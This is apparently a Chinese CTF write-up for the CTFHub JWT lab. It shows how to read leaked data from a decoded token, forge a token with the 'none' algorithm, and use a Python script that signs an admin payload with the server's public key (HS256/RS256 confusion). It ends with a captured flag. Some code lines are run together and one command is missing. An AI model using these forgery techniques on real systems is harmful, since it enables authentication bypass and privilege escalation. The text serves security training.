【CTF】JWT漏洞实验
CTFHub | https://www.ctfhub.com/ |
打开CTF靶场,进入相关的JWT模块。web进阶-->json web token
敏感信息泄露
先登录ctf网址,登录admin,密码admin,用bp抓包,复制token到kali用jwt解密
输入命令
AG+FL
无签名
用户名admin密码admin登录这里提示只有admin才有flag
bp抓包去kali解密发现刚刚的方法不行
新建一个终端导入python3的环境,把algorithm变为none,复制生成的token,在bp上修改token,forward回去浏览器得到flag
ctfhub{43bdf158d45dceef4de75791}
修改签名算法
username和password都用admin,admin登录,同时用bp抓包,点publickey.pem可以看到token
所有全部复制到kali新建一个文本文件放进去
新建一个python脚本,进入该目录下打开终端
#coding=utf-8import hmac
import hashlib
import base64file = open('publickey.pem') #需要将文中的publickey下载 与脚本同目录
key = file.read()#Paste your header and payload hereheader = '{"typ": "JWT", "alg": "HS256"}'
payload = '{"username": "admin", "role": "admin"}'#Creating encoded headerencodeHBytes = base64.urlsafe_b64encode(header.encode("utf-8"))
encodeHeader = str(encodeHBytes, "utf-8").rstrip("=")#Creating encoded payloadencodePBytes = base64.urlsafe_b64encode(payload.encode("utf-8"))
encodePayload = str(encodePBytes, "utf-8").rstrip("=")#Concatenating header and payloadtoken = (encodeHeader + "." + encodePayload)#Creating signaturesig = base64.urlsafe_b64encode(hmac.new(bytes(key, "UTF-8"), token.encode("utf-8"), hashlib.sha256).digest()).decode("UTF-8").rstrip("=")print(token + "." + sig)
注意把刚刚的文本文件改成脚本能识别到的名字
输入命令python 1.py,输出的就是解密后的token
发送到repeater,把token的所有改为kali输出的token,send发送,就能拿到flag